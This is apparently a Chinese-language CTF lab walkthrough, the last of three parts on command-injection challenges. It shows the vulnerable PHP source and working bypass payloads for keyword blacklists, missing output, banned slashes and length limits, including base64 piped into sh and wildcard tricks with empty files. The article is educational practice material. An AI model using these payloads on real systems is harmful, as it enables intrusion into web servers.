六边形靶场RCE下篇完结:最短命令与落盘外带"

admin 2026-10-18 11:32:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

六边形靶场 RCE 下篇完结:最短命令与落盘外带

原创

网安布道师
网安布道师

六边形攻防安全

2026年7月17日 07:06
河北

在小说阅读器读本章

去阅读

❝

六边形攻防靶场 Web → Rce 系列 · 共三篇
下篇:敏感词、无回显、斜线、长度限制——把过滤对抗打穿。

❞

上篇解决“用哪个函数”,中篇解决“禁函数/语法过滤下怎么读文件”。
下篇刁难输入形态本身:关键字、无回显、禁斜线、极短命令。

环境:六边形攻防靶场,「题库 → Web → Rce」。仅供授权练习。

系列收官导读

篇目 覆盖题目
上 rce-cmdfunction1 ~ 4
中 disable_functions ×2、bypassserparator、bypass_space
下(本文) bypass_senstive 、no_echo、bypass_slash、limited_length ×2

「每题顺序」:源码/环境 → 过滤点 → 绕过 → Payload → 结果 → 小结。


第九题:rce-bypass_senstive

❝

平台题名保留拼写 senstive;考点 sensitive。

❞

「平台路径」:题库 → Web → Rce → rce-bypass_senstive
「难度」:easy · 分值 39

源码 / 环境分析

<?phpif (isset($_GET['cmd'])) {    $cmd = $_GET['cmd'];    // 关键字黑名单(cat/tac/nl/... 等,完整列表以 highlight_file 为准)    if (!preg_match(\"/cat|tac|nl|more|less|...|php/i\", $cmd)        /* 以及 ; & 等符号过滤 */) {        system($cmd . \" >/dev/null 2>&1\");    } else {        echo \"NoNoNo\";    }} else {    highlight_file(__FILE__);}

核心是:「读文件相关关键字黑名单 + 命令后硬拼 >/dev/null 2>&1」。完整正则请以靶场页面源码为准。

过滤点

点 说明
关键字 cat /tac/nl/… 明文被 ban
符号 ;``& 等常见连接符
未覆盖 base64 ;命令名拆分 c\"\"at / c\\at / c''at
输出 末尾拼重定向 → 常需 || 保住 stdout

绕过思路

  • 换命令:base64 /flag
  • 拆命令名:c\"\"at / c''at / c\\at
  • 末尾加 || 对抗 >/dev/null 2>&1

Payload

?cmd=base64 /flag||?cmd=c\\at /flag||?cmd=c\"\"at /flag||?cmd=c''at /flag||

结果

rce-bypass_senstive 运行结果

图:地址栏 URL 含 cmd=c\"\"at /flag||,页面回显 Flag。

本题小结

黑名单拦的是“写出来的样子”,拦不住“解析后的样子”。


第十题:rce-no_echo

「平台路径」:题库 → Web → Rce → rce-no_echo
「难度」:easy · 分值 40

源码 / 环境分析

<?phpif (isset($_GET['cmd'])) {    $cmd = $_GET['cmd'];    if (!preg_match(\"/\\;|\\&|\\\\$|\\x09|\\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|\\>/i\", $cmd)) {        shell_exec($cmd);   // 返回值被丢弃 → 页面无回显    } else {        echo \"NoNoNo\";    }} else {    highlight_file(__FILE__);}

过滤点

点 说明
shell_exec 不输出 命令能跑,页面空白
禁 > 不能 cat /flag > 1.txt
仍可用 cp / ln / tar 等落盘手段

绕过思路

把 Flag 「拷到 Web 目录可访问文件」,再用浏览器下载/打开。

Payload

?cmd=cp /etc/hosts 1.txt?cmd=cp /f* 1.txt

然后访问:

http://靶机/1.txt

备选:ln -s、tar -czvf 1.tar.gz /f* 等。

结果

「步骤 1」(URL 里是 Payload,页面空白正常):

rce-no_echo 步骤 1

「步骤 2」(打开落盘文件):

rce-no_echo 步骤 2

本题小结

无回显 ≠ 无利用。要同时控:执行能力、可写目录、静态访问范围等。


第十一题:rce-bypass_slash

「平台路径」:题库 → Web → Rce → rce-bypass_slash
「难度」:easy · 分值 41

源码 / 环境分析

<?php// flag 在根目录if (isset($_GET['cmd'])) {    $cmd = $_GET['cmd'];    if (!preg_match(\"/\\//\", $cmd)) {        system($cmd . \" >/dev/null 2>&1\");    } else {        echo \"NoNoNo\";    }} else {    highlight_file(__FILE__);}?>

过滤点

点 说明
正则 参数里「不能出现 /」
拼接 同样有 >/dev/null 2>&1
可利用 Base64 载荷里可以“藏”斜线;管道进 sh

cat /flag 的 Base64:

Y2F0IC9mbGFn

绕过思路

请求串里不出现 /:echo <b64>|base64 -d|sh||。

Payload

?cmd=echo Y2F0IC9mbGFn|base64 -d|sh||

备选两步:

?cmd=echo Y2F0IC9mbGFn>1.txt?cmd=cat 1.txt|base64 -d|sh||

结果

rce-bypass_slash 运行结果

图:地址栏完整 URL 含 Base64 管道 Payload,页面回显 Flag。

本题小结

过滤请求字符串 ≠ 过滤最终命令语义。


第十二题:rce-limited_length

「平台路径」:题库 → Web → Rce → rce-limited_length
「难度」:easy · 分值 42

源码 / 环境分析

首页跳转 you_know.php。实机 highlight_file 接近:

<?php@unlink('index.html');if (isset($_GET['cmd'])) {    if (strlen($cmd) < 4) {          // 部分版本这里写的是未赋值的 $cmd        system($_GET['cmd']);        // 真正执行的是 GET 参数    } else {        echo \"NoNoNo\";    }} else {    highlight_file(__FILE__);}

阅读时按 cmd 长度 < 4 才执行 理解即可(最多 3 个字符)。
同目录有 where_is_flag.php(Flag 写在 PHP 源码里)与 you_know.php。

过滤点

点 说明
长度 单次命令 「最多 3 字符」(条件为 < 4)
无法一次写 cat where_is_flag.php 过长

绕过思路

  1. >nl:创建名为 nl 的空文件(nl 是合法命令)
  2. *:Shell 按字典序展开文件名 → 近似 nl where_is_flag.php you_know.php

Payload

?cmd=>nl?cmd=*

(入口:/you_know.php)

结果

rce-limited_length 运行结果

图:地址栏 you_know.php?cmd=*(前一步 >nl),输出含 Flag 的源码。

本题小结

长度限制防不住对可写目录的多次短操作累积。


第十三题:rce-limited_length1

「平台路径」:题库 → Web → Rce → rce-limited_length1
「难度」:medium · 分值 43

源码 / 环境分析

前端是表单,POST JSON 到 /hacker/shell.php:

<?phperror_reporting(0);header('Content-Type: application/json; charset=utf-8');
$data = json_decode(file_get_contents('php://input'), true);$command = $data['command'];
if ($command != null) {    // 关键字黑名单很长:flag/bin/IFS/引号/?/括号等,完整以实机为准    if (preg_match(\"/flag|bin|IFS|more|bash|grep|ln|\\\\?|.../\", $command)) {        echo json_encode(['output' => 'Result: Invalid arguments!']);        die();    }    if (strlen($command) > 4) {   // 注意:这里是 >4,即最多允许 4 个字符        echo json_encode(['output' => 'Result: Too Long!']);        die();    }    $result = @shell_exec($command);  // 只收 stdout    echo json_encode(['output' => 'Result: ' . $result, 'result' => $result]);}

根目录有 flag.txt;shell_exec「只收 stdout」。

过滤点

点 说明
长度 strlen($command) > 4 直接拒绝
关键字 明文 flag 等被 ban
输出 无 stderr,目录参数报错常不可见

绕过思路

  1. >cat:建空文件名为 cat(长度 4)
  2. * /*:展开为 cat 当前目录文件… 根目录路径…,stdout 里夹带 /flag.txt

Payload

在页面命令框(或 JSON command)中:

>cat* /*

结果

rce-limited_length1 运行结果

图:页面地址 + 命令框 * /*(前一步 >cat)+ 回显中的 Flag。

本题小结

可写目录 + 通配展开,会让 4 字符限制形同虚设。


下篇总结

题目 源码关键点 突破
bypass_senstive 关键字正则 + 拼重定向 拆分/base64 + ||
no_echo shell_exec 丢返回值 + 禁 > cp 落盘再访问
bypass_slash ban / Base64 管道进 sh
limited_length strlen < 4 >nl + *
limited_length1 strlen > 4 ban + 关键字 >cat + * /*

❝

「过滤的是输入形态,攻击拼的是最终语义。」

❞


三篇总复盘:Rce 细分 13 题地图

序号 题目 篇 一句话
1 rce-cmdfunction1 上 eval 后用 exec 第二参数
2 rce-cmdfunction2 上 passthru 直出
3 rce-cmdfunction3 上 反引号
4 rce-cmdfunction4 上 echo(.{0,10}) + /fl*
5 rce-bypass_disable_functions 中 禁命令函数 → PHP 读文件
6 rce-bypass_disable_functions1 中 call_user_func 漏 readfile
7 rce-bypassserparator 中 || + 对抗重定向拼接
8 rce-bypass_space 中 %09
9 rce-bypass_senstive 下 敏感词拆分
10 rce-no_echo 下 无回显落盘
11 rce-bypass_slash 下 Base64 走私 /
12 rce-limited_length 下 文件名当命令
13 rce-limited_length1 下 4 字符极限拼装

去哪练?

*靶场注册:公众号回复【靶场邀请码】获取邀请码即可进行注册
打开 https://hexlab.fun/ → 
「题库 → Web → Rce」*
建议:先自己看源码、列过滤点,再对照文章。

这里是 「六边形攻防安全」。本系列完结,下个专题见。


六边形靶场RCE下篇完结:最短命令与落盘外带" 网络安全文章

六边形靶场RCE下篇完结:最短命令与落盘外带"

本文讲解六边形靶场RCE下篇,聚焦敏感词、无回显、禁斜线及极短长度的绕过。核心结论为过滤仅限输入形态而非最终执行语义。关键发现包括利用命令拆分与base64绕过黑名单,通过cp落盘解决无回显,用base64管道走私斜线,以及通过创建命令名空文件结合通配符展开突破三至四字符极限长度。建议实战中剥离过滤表象,利用Shell解析特性如通配符与管道重组语义以实现有效利用。
ActiveDirectory安全攻防(六)" 网络安全文章

ActiveDirectory安全攻防(六)"

本文介绍了ActiveDirectory中的机密属性机制,通过设置searchFlags的Bit7(值128)将属性标记为机密,移除AuthenticatedUsers的默认读取权限,仅允许显式授权的主体读取。该机制用于保护敏感数据如LAPS密码,但需注意对应用程序的影响和攻击者可能通过查询Schema识别机密属性。建议防御方将其纳入数据分类和保护策略。
勒索软件谈判员因泄露受害者秘密而被判入狱" 网络安全文章

勒索软件谈判员因泄露受害者秘密而被判入狱"

前勒索软件谈判员因向BlackCat团伙泄露受害者谈判策略与保险细节以抬高赎金,被判处重刑。其还伙同他人部署勒索软件获利超百万美元。该案凸显应急响应中第三方内部威胁风险。建议企业实施按需知情访问控制,审核第三方数据处理流程,并隔离谈判记录以防泄露。
评论:0   参与:  0